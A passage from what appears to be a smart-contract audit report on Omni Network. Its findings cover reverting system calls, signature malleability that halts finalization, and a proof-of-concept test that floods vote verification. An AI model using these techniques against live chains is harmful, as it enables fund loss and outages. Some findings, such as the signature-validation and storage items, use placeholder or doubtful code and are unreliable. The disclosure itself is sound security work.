The internal `_syscall()` function of the **OmniPortal** contract requires that every system call executed through it is successful in contrast to regular calls executed regularly via `_call()` that are allowed to fail quietly.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/contracts/core/src/xchain/OmniPortal.sol?text=omniportal.sol#L322-L335

```
function _syscall(bytes calldata data) internal returns (bool, bytes memory, uint256) {
    uint256 gasUsed = gasleft();
    (bool success, bytes memory result) = address(this).call(data);
    gasUsed = gasUsed - gasleft();

    // if not success, revert with same reason
   if (!success) {
        assembly {
           revert(add(result, 32), mload(result))
        }
    }

    return (success, result, gasUsed);
}
```

- Impact Since all messages in a submission are executed consecutively by a single call to `xsubmit()`, a single unsuccessful `_syscall()` function call will cause the whole `xsubmit()` transaction to revert and thus will trap user funds that were meant to be bridged or any other user calls in general.
- Proof of Concept Consider the following scenario:

1. Users on Omni decide to bridge funds back to a given cross chain that Omni monitors and relays TXs from. Some of these bridge TXs are for a substantial sum of funds.
2. In the same block a validator set update occurs or a new Omni portal is added to the network. Omni schedules a `addValidatorSet()` or `setNetwork()` message to be broadcasted to all cross-chains.
3. Validators attest to the Omni consensus chain block at height H in which the users's TX and `addValidatorSet()`/`setNetwork()` messages occurred.
4. All of the messages and transactions from consensus chain block at height H are relayed to the respective destination chain at consensus chain height $H + 1$.
5. Regardless of the order, all user TXs are executed successfully via `_call()` but the `addValidatorSet()` or `setNetwork()` messages fail to be executed via `_syscall()`.
6. Now the entire `xsubmit()` TX reverts and the users' funds are spent on the Omni EVM chain but are lost irreversibly on the respective destination chain.

- Recommendation Do not revert if a message executed via `_syscall()` fails. Better instead just log the error and pause the contract.

3.5.8 Signature Validation

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `SigTuple` struct's `signature` field lacks proper validation against its corresponding `validatorAddr`, allowing for potential signature spoofing and unauthorized actions.
- Finding Description The current implementation fails to ensure that the signatures provided by validators correspond correctly to their Ethereum addresses. This breaks the security guarantee of authenticity; without verifying that the signature was produced by the address it claims to represent, malicious actors can submit invalid signatures, impersonating valid validators.

If an attacker were to submit a forged signature along with their own address, the absence of validation would permit this forged signature to be accepted as legitimate. This could lead to unauthorized transactions or state changes, undermining the integrity of the cross-chain messaging protocol.

- Vulnerability Details The vulnerability arises from the reliance on external validation of signatures without an internal mechanism to verify them against the given validator address. The `SigTuple` struct is intended to represent a validator's address and the associated signature over some data, yet the absence of checks means any address could be paired with any signature, leading to possible manipulation.
- Example of Malicious Input Propagation:

1. An attacker constructs a `SigTuple` with their address and a signature that does not correspond to any actual validator.

2. They submit this `SigTuple` as part of a `Submission` struct.
3. If the code processes this submission without validating the signature, the attacker's input is treated as valid, potentially allowing them to execute malicious actions.

- Impact The impact of this vulnerability is significant as it undermines the integrity of the cross-chain communication protocol. If attackers can impersonate validators, they can manipulate cross-chain transactions, leading to potential financial losses, exploitation of the protocol, or a breakdown of trust among users.
- Proof of Concept Here's an example of how the issue might be exploited without signature validation:

```
SigTuple memory maliciousSig = SigTuple({
    validatorAddr: attackerAddress, // Attackers address
    signature: forgedSignature // A signature forged by the attacker
});

// Submission is created with the malicious signature
Submission memory submission = Submission({
    attestationRoot: someRoot,
    validatorSetId: someId,
    blockHeader: someHeader,
    msgs: someMsgs,
    proof: someProof,
    proofFlags: someFlags,
    signatures: new SigTuple  // Malicious signature added here
});
```

- Recommendations To mitigate this vulnerability, it is essential to implement signature verification against the respective validator addresses before processing the submissions.
- Fixed Code Snippet You can introduce a verification function that checks the validity of the signature. Here's an example of how to implement this check:

```
function verifySignature(address validatorAddr, bytes memory signature, bytes32 dataHash) internal pure
↪  returns (bool) {
    // Recover the address from the signature
    address recoveredAddr = recover(dataHash, signature);
    // Ensure the recovered address matches the validator's address
    return (recoveredAddr == validatorAddr);
}

function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
    // Implementation for recovering address from the signature
    // (Use ecrecover or similar function as per your requirements)
}
```

Incorporate this verification in the processing of `Submission` objects to ensure that signatures are valid and correspond to the correct addresses.

- File Location `XTypes.sol`

3.5.9 Uninitialized storage slot

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract `PausableUpgradeable` utilizes an uninitialized storage slot for managing the paused state of keys, which could lead to undefined behavior if the contract is deployed but the storage is not properly initialized.
- Finding Description The issue arises from the use of a storage slot for the `PauseableStorage` struct without an accompanying initialization mechanism. When the contract is deployed, the mapping `_paused` within `PauseableStorage` may not be initialized correctly, resulting in all keys being considered unpaused by default. This can lead to the contract behaving in unexpected ways, especially if functions relying on this mapping are called before proper initialization.

This vulnerability breaks the security guarantee of reliable state management, as it can allow users to assume that certain keys are in a paused state when they are not. A malicious user could exploit this

by calling `_pause` or `_unpause` on an uninitialized key, potentially bypassing intended access controls or states.

- Vulnerability Details The key concern is that without initialization, the default value of a boolean mapping in Solidity is `false`. If a user calls `_pause` on an uninitialized key, the contract may not behave as expected, allowing state transitions that should not occur. This can be exploited by malicious actors to manipulate the pause state, leading to security breaches in contract functionality.
- Impact The impact of this vulnerability is significant, as it undermines the integrity of the contract's state management. If the contract is designed to allow pausing of critical functions, the lack of proper initialization means these functions may be mistakenly left operational when they should not be, exposing the system to attacks.
- Proof of Concept To demonstrate the issue, consider the following scenario:

1. A user deploys the `PausableUpgradeable` contract without calling any initialization functions.
2. The user calls `_pause` with a randomly generated key.
3. The call passes the `require` check due to `_paused[key]` returning `false` (default uninitialized state).
4. The key is now set to `true`, but without any prior checks or balances, resulting in an unintended pause state.

This demonstrates that without a proper initialization process, the system is vulnerable to manipulation.

- Recommendations To fix this issue, the contract should include a constructor or an initialization function to ensure that the storage is properly set up upon deployment. Here's a code snippet to demonstrate how the storage can be initialized:

```
contract PausableUpgradeable {
    // ... existing code ...

    constructor() {
        // Initialize the storage
        PauseableStorage storage $ = _getPauseableStorage();
        // Any necessary setup can be done here
        // For example, set all keys to not paused initially
        // This is implicitly done since mappings default to false
    }

    // ... existing code ...
}
```

Alternatively, you could include a dedicated initialization function that must be called after deployment:

```
function initialize() external {
    // Ensure this function can only be called once
    require(!_isAllPaused(), "Already initialized");
    // Any initialization logic here
}
```

By implementing one of these strategies, you ensure that the contract is in a predictable and secure state upon deployment, mitigating the risk of unintended behavior caused by uninitialized storage.

- File Location `PausableUpgradeable.sol`

3.5.10 Unable to update "validator set"

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The `addValidatorSet` is generated by Consensus. The valsync module plays an important role here to propagate validator set updates to OmniPortal contracts on all chains supported in Omni.

Unfortunately, this can only be done once the first time an OmniPortal contract is deployed and the validator set is created and updating the new validator set is not possible.

Why this happen?

```
function _addValidatorSet(uint64 valSetId, XTypes.Validator[] calldata validators) internal {
        uint256 numVals = validators.length;
        require(numVals > 0, "OmniPortal: no validators");
        require(valSetTotalPower[valSetId] == 0, "OmniPortal: duplicate val set");

        uint64 totalPower;
        XTypes.Validator memory val;
        mapping(address => uint64) storage _valSet = valSet[valSetId];

        for (uint256 i = 0; i < numVals; i++) {
            val = validators[i];

            require(val.addr != address(0), "OmniPortal: no zero validator");
            require(val.power > 0, "OmniPortal: no zero power");
            require(_valSet[val.addr] == 0, "OmniPortal: duplicate validator");

            totalPower += val.power;
            _valSet[val.addr] = val.power;
        }

        valSetTotalPower[valSetId] = totalPower;

        if (valSetId > latestValSetId) latestValSetId = valSetId;

        emit ValidatorSetAdded(valSetId);
    }
```

When the validator set is first set, it is stored in the OmniPortal contract with the variable `valSetId`. while the valsync module always checks that `valsetId` must be 1.

```
func (k *Keeper) InsertGenesisSet(ctx context.Context) error {
valsetID, err := k.insertValidatorSet(ctx, vals, true)
    if err != nil {
        return errors.Wrap(err, "insert valset")
    } else if valsetID != 1 {
        return errors.New("genesis valset id not 1 [BUG]")
    }
```

Assume the validator set is initially set with `valSetId` = 1. When the protocol attempts to update the validator set, `InsertGenesisSet` checks that `valsetID` must always be 1. Therefore, the updated validator set will also have a `valSetId` value of 1. This action will fail with the error "OmniPortal: duplicate val set" because the old validator set with `valSetId = 1` is already stored in the OmniPortal contract.

- Recommendation remove this check:

```
} else if valsetID != 1 {
        return errors.New("genesis valset id not 1 [BUG]")
    }
```

change with verification that `valsetID` cannot be the same as the old one.

3.5.11 Missing Vote Extension Slashing

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description The Cosmos SDK has two main slashing reasons:
- Double signing for blocks
- Bad uptime stats for signing blocks

The slashing is crucial in order to incentivize the behavior that the blockchain wants: always on uptime and honest signing. Without proper slashing mechanics validators will operate in their own self-interests, which could potentially hurt the network.

The Cosmos SDK `slashing` module only operates on infraction (mostly double sign) evidence and downtime of validators for block votes. The slashing BeginBlocker iterates through each vote for a given block. It should be noted that `LastCommit` is only votes for the block and has nothing to do with the vote extensions. The code then does downtime operations and punishes the user if they have been malicious.

Given that the slashing module only checks the `Votes` from a previous block for downtime metrics, this means that there is no slashing mechanism for `VoteExtensions`. As validators are incentivized to save on compute power and costs in general, this gives the validators a reason to not participate in vote extensions at all.

Within the `attest` module, there is some tracking of whether a voter is voting is vote extensions but it's currently all logging with no slashing.

This has two major consequences. First, it leads to the potential for the centralization of vote extensions. However, there is a quorum check on the extensions that is separate from the regular quorum check to prevent this (although report 465 shows a vulnerability in this). Second, with the quorum check in place, if validators stop voting via VoteExtensions, then it would lead to *downtime* for the entire network. This is because the quorum check in `ProcessProposal` will fail the block entirely if the required amount of vote extensions did not occur.

- Remediation Not voting in the vote extensions for XBlock events should be punished in a similar manner to block signing downtime via slashing. This way, validators are incentivized to always do `ExtendVote` on XBlocks. Implement a custom slashing mechanism for vote extensions that mirrors the block signing downtime mechanism.

3.5.12 Unsafe Delegation Handling could lead in staked omni being lost

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In order for stakers to increase their staked amounts, they can use `delegate()` on the predeployed staking.sol contract on omni chain.

```
function delegate(address validator) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");
    // only support self delegation for now
    require(msg.sender == validator, "Staking: only self delegation");

    emit Delegate(msg.sender, validator, msg.value);
}
```

The delegate function fails to safely handle the interactions and only checks that validator==msg.sender.

The problem however arises if the delegation msg which will be executed by cosmos will fail. In that case all the delegated amount will be lost forever with no way for the validators to regain them or reusing them effectively leading to users funds being lost.

- Examples/Poc It is possible for the delegation action to fail on the cosmos level. If that was to happen there is no way to regain the lost funds or redelegate them. This is done because if emvevents that will fail During FinalizeBlock will be simply ignored.

```
        // Deliver the event inside the catch function that converts panics into errors; similar to CosmosSDK
↪  BaseApp.runTx
        if err := catch(func() error { //nolint:contextcheck // False positive wrt ctx
            return proc.Deliver(branchCtx, blockHash, evmLog)
        }); err != nil {
            log.Warn(ctx, "Delivering EVM log event failed", err,
                "name", proc.Name(),
                "height", height,
            )

            continue // Don't write state on error (or panics).
        }

        branchMS.Write()
    }
```

There are multiple valid cases where the transaction will succeed in the `staking.sol` contract but the transaction would fail/error while being delivered. We could mention some of them.

1. A whitelisted validators will send 2 transactions on the evm. First `createValidator()` and then `delegate()` with 10k omni. If the delegate() transaction would be ordered before the `createValidator()` the 10k omni delegated by the validator would be lost forever
2. In some cases delegation to validators that have been jailed multiple time could fail. would lead to the delegated OMNI to be lost. (check the case with the snippet of the official cosmos sdk bellow).

https://github.com/cosmos/cosmos-sdk/blob/60cbe2db29c4cef12c7a743f3a87060e7f781978/x/staking/keeper/delegation.go#L677-L693

```
// Delegate performs a delegation, set/update everything necessary within the store.
// tokenSrc indicates the bond status of the incoming funds.
func (k Keeper) Delegate(
    ctx context.Context, delAddr sdk.AccAddress, bondAmt math.Int, tokenSrc types.BondStatus,
    validator types.Validator, subtractAccount bool,
) (newShares math.LegacyDec, err error) {
    // In some situations, the exchange rate becomes invalid, e.g. if
    // Validator loses all tokens due to slashing. In this case,
    // make all future delegations invalid.
    if validator.InvalidExRate() {
        return math.LegacyZeroDec(), types.ErrDelegatorShareExRateInvalid
    }

    valbz, err := k.ValidatorAddressCodec().StringToBytes(validator.GetOperator())
    if err != nil {
        return math.LegacyZeroDec(), err
    }
```

- Recommendation A good long term solution for this bug, would be to handle errors on evm events being delivered

3.5.13 Threshold Signature Manipulation in `xsubmit()`

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Finding Description

The Quorum.verify() function implements a threshold signature scheme where a quorum of validators must sign to validate a cross-chain message/transaction. The threshold is determined by `XSubQuorumNumerator` and `XSubQuorumDenominator`. If these parameters are externally modifiable, they can be manipulated to lower the required quorum, potentially enabling unauthorized submissions with fewer validator signatures.

https://github.com/omni-network/omni/blob/main/contracts/core/src/xchain/OmniPortal.sol#L189-L200

- Impact

An attacker can modify `XSubQuorumNumerator` and `XSubQuorumDenominator`, lowering the quorum requirement. if the fewer required signatures is (e.g.< 2/3), unauthorized validators could validate fraudulent

transactions or messages undermining the decentralized security of the network. This could lead to unauthorized message execution, theft of locked assets and loss of integrity in decision-making.

```
require( Quorum.verify( xsub.attestationRoot, xsub.signatures, valSet[valSetId], valSetTo-
talPower[valSetId], XSubQuorumNumerator, XSubQuorumDenominator ), "OmniPortal: no quorum"
);
```

- Recommendation

Consider implementing minimum allowable values for `XSubQuorumNumerator` and `XSubQuorumDenominator`, to prevent excessive lowering of quorum requirements.

3.5.14 The relaying of messages from Arbitrum will be delayed exponentially every time consensus chain proposals are delayed

Severity: Medium Risk

Context: keeper.go#L267-L305

- Summary The Omni network has one primary function - relaying transactions between different monitored chains. As of now these are the Optimism, Base, Arbitrum, Ethereum mainnet and the Omni EVM mainnet. The process is quite simple in theory:

Nodes that are also validators monitor each of the aforementioned chains + the Omni consensus chain and when they receive a new block, they verify it and record a vote for it locally. In the PreCommit phase of the current consensus proposal round, all validators cast their votes and attach their X chains blocks votes that they store locally as a Vote Extension. After the consensus proposal is approved, all validators store a pending Attestation in their databases for the cross-chain blocks that all validators casted votes for in the current proposal. In the next consensus proposal, after voting is finished, every validator checks the casted votes (via vote extensions) for each of the cross-chain blocks from the **previous** consensus block proposal and marks the pending Attestation DB records as **Approved**. The relayer then picks up the next approved attestation for each of the monitored chains and relays the messages to their respective destination chains.

The mechanism is robust and should work ok most of the time, however, there is currently a shortcoming of the system that will cause an exponential delay in the relaying of messages from the Arbitrum chain to all other destination chains when consensus proposals are delayed even by the tiniest of margin like 0.1s, for example.

- Description The relaying of cross-chain messages is strongly dependent on the speed with which consensus chain proposals are approved by validators. The Omni consensus chain aims to process proposals at the rate of 1 block per second as stated in the docs:

  1.3 Consensus timeouts **Omni aims to achieve fast 1s block times.**
  All validator MUST ensure that CometBFT is configured with a 1s commit timeout.
  This must to be configured in under `[consensus.timeout_commit]` in the CometBFT config file `~/.omni/omega/halo/config/config.toml`.

In the context of relaying transactions this ties together the block time of the consensus chain with the block time of the cross-chains that Omni has in its network. A block is added to the Otimism chain (for example), Omni validators vote for it in and in the next consensus chain block, the messages from the given Optimism chain block are relayed. This process will work ok when 2 conditions are met:

- The cross chain has a block emission time Omni consensus chain block emission time of 1 second.
- The Omni consensus chain experiences **no** delays ever in its consensus proposals and approves each proposal in its very first round of voting.

If we look at the block times of the supported cross-chains, they all meet the first condition:

- Ethereum mainnet: 12s
- Optimism: 2s
- Base: 2s
- Arbitrum: 1s
- Omni EVM: the same as Omni consensus chain block time = 1s

All will be good, except for messages relayed from Arbitrum in the case of delayed consensus chain proposals, though. Even if there is a 0.05s delay in a consensus chain block proposal approval, this will impose a permanent delay on the delivery of messages from the Arbitrum chain as the attestations offset for Arbitrum blocks will keep increasing, but validators are only approving the single next pending attestation for each cross chain block, meaning in the consensus chain proposal coming after the delayed one, there'll now be 2 pending attestations for 2 blocks on Arbitrum, but only the earlier pending attestation (for the earlier Arbitrum block) will be voted for, approved and relayed as validators in Omni enforce the rule of voting for attestations with consecutive offsets and including only a single attestation per chain in the current proposal votes extensions.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go?text=attest+keeper#L267-L305

```
func (k *Keeper) Approve(ctx context.Context, valset ValSet) error {
    defer latency("approve")()

    pendingIdx := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatus(uint32(Status_Pending))
    iter, err := k.attTable.List(ctx, pendingIdx)
    if err != nil {
        return errors.Wrap(err, "list pending")
    }
    defer iter.Close()

    approvedByChain := make(map[xchain.ChainVersion]uint64) // Cache the latest approved attestation offset by
↪   chain version.
    for iter.Next() {
        att, err := iter.Value()
        if err != nil {
            return errors.Wrap(err, "value")
        }
        chainVer := att.XChainVersion()
        chainVerName := k.namer(chainVer)

        // Ensure we approve sequentially, not skipping any heights.
        {
            // Populate the cache if not already.
            if _, ok := approvedByChain[chainVer]; !ok {
                latest, found, err := k.latestAttestation(ctx, att.XChainVersion())
                if err != nil {
                    return errors.Wrap(err, "latest approved")
                } else if found {
                    approvedByChain[chainVer] = latest.GetAttestOffset()
                }
            }
            head, ok := approvedByChain[chainVer]
            if !ok && att.GetAttestOffset() != initialAttestOffset {
                // Only start attesting from offset==1
                continue
            } else if ok && head+1 != att.GetAttestOffset() {
            // This isn't the next attestation to approve, so we can't approve it yet.
                continue
            }
        }
```

- Impact As a result of consensus proposals delay, no matter how big the delay, messages from Arbitrum (and other chains with a block time = 1s) will experience an exponential delay in their delivery to the other destination chains in the Omni network. This is not true of the Omni EVM chain as Omni EVM TXs are attested to in every consensus chain proposal and this makes its block time 1:1 related to the consensus chain block times.

Delays in consensus chain proposals can be caused by a variety of reasons: network latency, validators downtime or poor performance, or heavy proposal blocks including a lot of TXs bumping up the time for their verification and processing time, to name a few. All of these are factors are not under the control of any single entity in the Omni network. On top of that, consensus chain block proposals delay can be also caused by malicious validators (as announced midway into the contest) which can propose faulty proposals 1/3 of the time given they have enough voting power, when picked as proposers of the next consensus chain block:

> **Please note:** The validator condition does *not* assume that there are no malicious validators. Any findings where less than 1/3 of malicious validators (by voting power) can impact the network will be considered **valid** findings.

- Proof of Concept The picture this finding paints can be best painted with a simple table:

Time	Arbitrum block number/offset	Consensus block number/offset	Processed attestation offset for Arbitrum
1	1	1	1
2	2	2	2
3	3	2	2
4	4	3	3
5	5	4	4
6	6	5	5
7	7	5	5
8	8	6	6

As we can see any time a consensus chain block is delayed, there'll be an increasing delay in the delivery of messages from Arbitrum blocks and as of now there's no way of processing that ever increasing "queue" of pending Arbitrum blocks.

- Recommendation This is by no means trivial to fix. The most robust solution we can think of is to approve pending attestations with confirmation level Finalized for cross-chain block heights < current cross chain block heights but that'd require to syncronize the relayer and the validator which will probably introduce more complexity.

3.5.15 Malicious proposer can stop blocks finalization through signature malleability

Severity: Medium Risk

Context: keeper.go#L243-L250, keeper.go#L1076-L1085, k1util.go#L47-L67

- Summary

A malicious proposer can provide two different signatures for the same vote in two different blocks. This will lead to an error during block finalization in the attest module, leading to halting the chain.

- Finding Description

The `addOne` function in the Attest Keeper collects all the signatures that are in the input `AggVote` structure. Each signature is a tuple `(ValidatorAddress, Signature)`.

When processing signature, the function insert the signature in a table. This can lead to an `UniqueKeyViolation` error when the signature was already inserted. When this happens, two cases can appear (based on the `isDoubleSign` function return value):

- the signature to insert is the same than the signature already inserted => ignore it
- the two signatures are different => return an error and fail to finalize the block

A malicious proposer is able to replay a valid vote on behalf of any validator based on a previous vote. By using signature malleability on this specific vote, the proposer will be able to trigger the error in block finalization described above.

- Impact Explanation

High: The chain halts as it didn't succeed to finalize a block.

- Likelihood Explanation

High: Any proposer can do it.

The only requirements are:

- an attestation is not finalized yet
- there is one vote for this attestation in a block previous to N (the vote that will be replayed with different signature)
- attacker is a block proposer at block N
- Code snippet

In this part, multiple things are detailled:

- inclusion of any vote by the proposer
- signature malleability
- triggering consensus failure
- Inclusion of any vote by the proposer

The `ProcessProposal` logic checks the proposal from the proposer. It calls `verifyAggVotes` to check the aggregated votes proposed. As long as these votes are valid and in the window, they are accepted. It is not checked that they correspond to the previous commit round, so a proposer can propose any vote from a previous vote round.

```
func (k *Keeper) verifyAggVotes(
    ctx context.Context,
    cChainID uint64,
    valset ValSet,
    aggs []*types.AggVote,
    windowCompareFunc windowCompareFunc, // Aliased for testing
) error {
    duplicate := make(map[common.Hash]bool)          // Detects duplicate aggregate votes.
    countsPerVal := make(map[common.Address]uint64) // Enforce vote extension limit.
    for _, agg := range aggs {
        if err := agg.Verify(); err != nil { // @POC: Checks all the AggVote, will verify signatures
            return errors.Wrap(err, "verify aggregate vote")
        }

        //...

        // Ensure all votes are from unique validators in the set
        for _, sig := range agg.Signatures {
            // @POC: require all validators to be known in the validator set
        }

        // @POC: require to be in window
        if resp, err := windowCompareFunc(ctx, agg.AttestHeader.XChainVersion(),
↪   agg.AttestHeader.AttestOffset); err != nil {
            return errors.Wrap(err, "windower")
        } else if resp != 0 {
            errAttrs = append(errAttrs, "resp", resp)

            return errors.New("vote outside window", errAttrs...)
        }
    }

    return nil
}
```

So all validators executing the `ProcessProposal` logic will accept this replayed vote.

- Signature malleability

The signatures are verified through `k1util.Verify`. It retrieves pubkey from signature, derive the Ethereum address and check it against the expected address. This pattern is notably used in Ethereum precompiles and **it is known to be prone to signature malleability**:

```
func Verify(address common.Address, hash [32]byte, sig [65]byte) (bool, error) {
    // Adjust V from Ethereum 27/28 to secp256k1 0/1
    const vIdx = 64
    if v := sig[vIdx]; v != 27 && v != 28 {
        return false, errors.New("invalid recovery id (V) format, must be 27 or 28")
    }
    sig[vIdx] -= 27 // @POC: modifying S = -S and V = V -/+ 1 gives a valid signature => signature malleability

    pubkey, err := ethcrypto.SigToPub(hash[:], sig[:])
    if err != nil {
        return false, errors.Wrap(err, "recover public key")
    }

    actual := ethcrypto.PubkeyToAddress(*pubkey)

    return actual == address, nil
}
```

- Triggering consensus failure

During block finalization, the Attest `Keeper.Add` function is called. It calls `addOne` to add every signatures of each `aggVote` to its local state:

```
// Add adds the given aggregate votes as pending attestations to the store.
// It merges the votes with attestations it already exists.
func (k *Keeper) Add(ctx context.Context, msg *types.MsgAddVotes) error {
    // ...

    countsByChainVer := make(map[xchain.ChainVersion]int)
    for _, aggVote := range msg.Votes { // @POC: For each AggVote
        countsByChainVer[aggVote.AttestHeader.XChainVersion()]++

        // Sanity check that all votes are from prev block validators.
        for _, sig := range aggVote.Signatures { // @POC: For each signature
            sigTup, err := sig.ToXChain()
            if err != nil {
                return err
            }
            if !valset.Contains(sigTup.ValidatorAddress) {
                return errors.New("vote from unknown validator [BUG]")
            }
        }

        err := k.addOne(ctx, aggVote, valset.ID) // @POC: Add signature
        if err != nil {
            return errors.Wrap(err, "add one") // @POC: propagate the error to `finalizeBlock`
        }
    }

    // ...
}
```

`addOne` will add each signature to `k.sigTable`. Each `Signature` structure should have **unique ID**. This ID is built from attestation ID and validator address (see `attestation.proto`).

```
func (k *Keeper) addOne(ctx context.Context, agg *types.AggVote, valSetID uint64) error {
    // ... Check agg validity

    // Insert signatures
    for _, sig := range agg.Signatures {
        sigTup, err := sig.ToXChain()
        if err != nil {
            return err
        }

        err = k.sigTable.Insert(ctx, &Signature{ // @POC: Try to insert the signature
            Signature:        sig.GetSignature(),
            ValidatorAddress: sig.GetValidatorAddress(),
            AttId:            attID,
            ChainId:          agg.AttestHeader.GetSourceChainId(),
            ConfLevel:        agg.AttestHeader.GetConfLevel(),
            AttestOffset:     agg.AttestHeader.GetAttestOffset(),
        })

        if errors.Is(err, ormerrors.UniqueKeyViolation) { // @POC: if validator already has a signature for
↪   this
            msg := "Ignoring duplicate vote"
            if ok, err := k.isDoubleSign(ctx, attID, agg, sig); err != nil { // @POC: `isDoubleSign` will
↪   check if the signature is the same
                return err // @POC: An error is return if THE SIGNATURE IS NOT THE SAME
            } else if ok {
                doubleSignCounter.WithLabelValues(sigTup.ValidatorAddress.Hex()).Inc()
                msg = " Ignoring duplicate slashable vote" // @POC: Else, just register a log and return OK
            }

            // ...
    }

    return nil
}
```

So, when `DoubleSign` returns an error, this error is propagated through the whole EndBlock logic and will end up in the Omni chain being unable to finalize blocks ". An error in `DoubleSign` is triggered when the

provided signature does not match the already known signature.

This can be triggered through signature malleability.

```
// isDoubleSign returns true if the vote qualifies as a slashable double sign.
func (k *Keeper) isDoubleSign(ctx context.Context, attID uint64, agg *types.AggVote, sig *types.SigTuple)
↪  (bool, error) {
    // Check if this is a duplicate of an existing vote
    if identicalVote, err := k.sigTable.GetByAttIdValidatorAddress(ctx, attID, sig.ValidatorAddress); err ==
↪  nil {
        // Sanity check that this is indeed an identical vote
        // @POC: following check is incorrect
        if !bytes.Equal(identicalVote.GetSignature(), sig.GetSignature()) { // @POC: The two signatures can be
↪  different while still being valid!!!
            return false, errors.New("different signature for identical vote [BUG]")
        }

        return false, nil
    } else if !errors.Is(err, ormerrors.NotFound) {
        return false, errors.Wrap(err, "get identical vote")
    } // else identical vote doesn't exist

    // ...
    return true, nil
}
```

- Recommendation

The `isDoubleSign` function should not enforce the two signatures to be equal as they could be non-equal.

At this point of the code, the signature has already been verified. `isDoubleSign` should consider these two signatures the same.

3.5.16 An incorrect order of checks in `verifyAggVotes` may lead to liveness issues

Severity: Medium Risk

Context: keeper.go#L884

- Description The Zellic report describes an issue (3.1) that could lead to a chain halt due to an unbounded amount of votes in the proposal. The report mentions that this issue was remediated by hardening the vote verification.

This mitigation, however, does not appear to be correct, as it still allows a malicious proposer to force other validators to perform extensive computations during proposal validation. Vote validation occurs in the `proposalServer.AddVotes` function, with the primary validation logic contained in the `verifyAggVotes` function. The issue arises from an incorrect order of checks in the modified version of the `verifyAggVotes`. Specifically, the `verifyAggVotes` function verifies validators' signatures before confirming that these validators are part of the valset.

Signature verification occurs within the `AggVote.Verify()` call:

```
if err := agg.Verify(); err != nil {
    return errors.Wrap(err, "verify aggregate vote")
}
```

The presence of validators in the valset is checked afterward here:

```
if !valset.Contains(addr) {
    return errors.New("vote from unknown validator", append(errAttrs, "validator", addr)...)
}
```

This allows a malicious proposer to submit a block containing up to ~100 MB of signatures with random keys, leading other validators to validate all signatures before ultimately rejecting the proposal. On my machine, verifying the proposal with 1 million signatures (which should not exceed the block limit) takes approximately 80 seconds. This duration can be assessed using the test in the POC section.

As noted in the Zellic report, this extensive computation could cause serious liveness issues, resulting in consensus failure and a potential chain halt.

- Proof of Concept Add this test to `attest/keeper/keeper_internal_test.go`. Ensure that the test timeout is sufficiently large, as it takes some time to complete (approximately 200 seconds on my machine).

```
func TestPOCVerifyLotsOfSignatures(t *testing.T) {
    const (
        voteExtLimit = 4
        cChainID     = 999
        windowOffset = 64
        power        = 10
        srcChain1    = 1
    )
    val1 := genPrivKey(t)
    val2 := genPrivKey(t)
    val3 := genPrivKey(t)
    portalReg := testPortalRegistry{srcChain1: []xchain.ConfLevel{xchain.ConfFinalized}}

    valset := ValSet{Vals: map[common.Address]int64{
        addr(val1): power,
        addr(val2): power,
        addr(val3): power,
    }}

    att1 := &types.AttestHeader{
        ConsensusChainId: cChainID,
        SourceChainId:    srcChain1,
        ConfLevel:        uint32(xchain.ConfFinalized),
        AttestOffset:     1,
    }

    block1A := &types.BlockHeader{
        ChainId:     srcChain1,
        BlockHeight: 1,
        BlockHash:   tutil.RandomHash().Bytes(),
    }

    msgRootA := tutil.RandomHash().Bytes()

    windowCompareFunc := func(ctx context.Context, chainVersion xchain.ChainVersion, attestOffset uint64)
↪   (int, error) {
        if attestOffset > windowOffset {
            return 1, nil
        }

        return 0, nil
    }

    aggs := []*types.AggVote{
        {
            AttestHeader: att1,
            BlockHeader:  block1A,
            MsgRoot:      msgRootA,
        },
    }

    attRoot, err := aggs[0].AttestationRoot()
    require.NoError(t, err)

    // generate a lot of signatures with random private keys
    signatures := []*types.SigTuple{}
    for i := 0; i < 1000000; i++ {
        privkey := genPrivKey(t)
        signature := toSign(privkey)
        pk, err := k1util.StdPrivKeyToComet(privkey)
        require.NoError(t, err)

        s, err := k1util.Sign(pk, attRoot)
        require.NoError(t, err)

        signature[0].Signature = s[:]
        signatures = append(signatures, signature...)
    }
    aggs[0].Signatures = signatures

    keeper := Keeper{
        portalRegistry: portalReg,
```

```
        namer:          netconf.SimnetNetwork().ChainVersionName,
        voter:          nil,
        voteWindowUp:   0,
        voteWindowDown: 0,
        voteExtLimit:   voteExtLimit,
    }

    ctx := context.Background()
    start := time.Now()
    keeper.verifyAggVotes(ctx, cChainID, valset, aggs, windowCompareFunc)
    elapsed := time.Since(start)
    t.Logf("verifyAggVotes took %s\n", elapsed)
}
```

- Recommendation Consider verifying that the signer is in the valset before validating the signature.

3.5.17 Network isn't initialzed in `OmniPortal.initialize`

Severity: Medium Risk

Context: OmniPortal.sol#L88

- Description In OmniPortal.initialize, while initializing the global variables, the function doesn't set the network of supported chains & shards. Without `isSupportedDest` and `isSupportedShard` being set properly, the contract can't send cross-chain messages.

As the following code show, `_addValidatorSet` is called to set the properly valset, but the function doesn't calls `_setNetwork` to set the network of supported chains & shards.

```
 88     function initialize(InitParams calldata p) public initializer {
 89         __Ownable_init(p.owner);
 90
 91         _setFeeOracle(p.feeOracle);
 92         _setXMsgMaxGasLimit(p.xmsgMaxGasLimit);
 93         _setXMsgMaxDataSize(p.xmsgMaxDataSize);
 94         _setXMsgMinGasLimit(p.xmsgMinGasLimit);
 95         _setXReceiptMaxErrorSize(p.xreceiptMaxErrorSize);
 96         _setXSubValsetCutoff(p.xsubValsetCutoff);
 97         _addValidatorSet(p.valSetId, p.validators);
 98
 99         omniChainId = p.omniChainId;
100         omniCChainId = p.omniCChainId;
101
102         // omni consensus chain uses Finalised+Broadcast shard
103         uint64 omniCShard = ConfLevel.toBroadcastShard(ConfLevel.Finalized);
104         _setInXMsgOffset(p.omniCChainId, omniCShard, p.cChainXMsgOffset);
